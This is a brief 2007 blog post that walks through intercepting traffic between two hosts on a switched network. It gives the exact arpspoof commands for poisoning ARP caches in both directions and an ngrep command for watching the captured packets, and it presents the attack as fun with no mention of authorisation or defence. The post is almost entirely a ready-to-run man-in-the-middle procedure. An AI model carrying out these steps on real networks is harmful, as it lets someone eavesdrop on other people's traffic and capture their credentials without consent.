Monday, August 6, 2007

To see the traffic going between two points on a network?

Now the real fun:

Have a switched network?
Want to find out the traffic going between any two points?

How can I see the traffic going between two points on a switched network?

First have a Unix machine, then
Get the dsniff and ngrep packages.

Download Dsniff (Installating Dsniff )
Download ngrep


Start up three terminals.

In the first terminal run :
arpspoof -t 1.1.1.1 2.2.2.2

In the second terminal run :
arpspoof -t 2.2.2.2 1.1.1.1

In the third terminal run :
ngrep host 1.1.1.1more
and watch the fun.


No comments: